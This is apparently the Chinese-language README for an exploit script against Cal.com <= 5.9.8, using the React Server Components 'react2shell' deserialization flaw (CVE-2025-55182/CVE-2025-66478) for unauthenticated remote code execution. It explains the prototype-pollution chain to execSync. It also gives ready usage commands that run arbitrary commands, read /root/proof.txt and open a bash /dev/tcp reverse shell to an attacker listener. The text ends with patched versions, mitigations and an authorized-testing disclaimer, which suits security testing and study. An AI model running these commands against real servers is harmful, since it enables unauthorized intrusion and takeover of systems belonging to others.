在 Cal.com <= 5.9.8 中,
可通过 React Server Components "Flight" 反序列化 漏洞实现未认证远程代码执行 —
"react2shell"(React 中的 CVE-2025-55182,Next.js 中的 CVE-2025-66478)。
Cal.com 捆绑了易受攻击的 Next.js 15.x。单个未认证的 POST / 请求携带
Next-Action 头和一个特制的 multipart Flight 载荷,沿着原型污染
链(__proto__:then + constructor:constructor)进入服务端 eval,最终到达
child_process.execSync。命令输出会内联返回在 RSC 错误的
digest 字段中。无需认证、无需用户交互 — 单个请求即可实现 RCE。
<= 5.9.8(使用 RSC 的 Next.js 15.x / 16.x App Router)5.9.9(升级了捆绑的 Next.js)3000pip install requests
# one-off command (output comes back in the response)
python3 exploit.py http://10.10.10.10:3000/ -c 'id'
python3 exploit.py http://10.10.10.10:3000/ -c 'cat /root/proof.txt'
# interactive reverse shell (start `nc -lvnp 4444` first)
python3 exploit.py http://10.10.10.10:3000/ --shell 10.10.14.5:4444
单次命令通过 RSC 错误 digest 内联返回其输出。--shell
模式会触发一个由 setsid 分离的 bash /dev/tcp 反向 shell(目标容器为 Debian,
自带 bash)。
将 Cal.com 升级到 >= 5.9.9(任意已修复的 Next.js 版本:15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 /
15.4.8 / 15.5.7 / 16.0.7)。不要将 RSC 服务器函数处理器暴露给不受信任的
客户端,也不要让应用容器以 root 身份运行。
仅用于授权的安全测试和教育目的。只能针对你拥有 或获得明确测试许可的系统使用。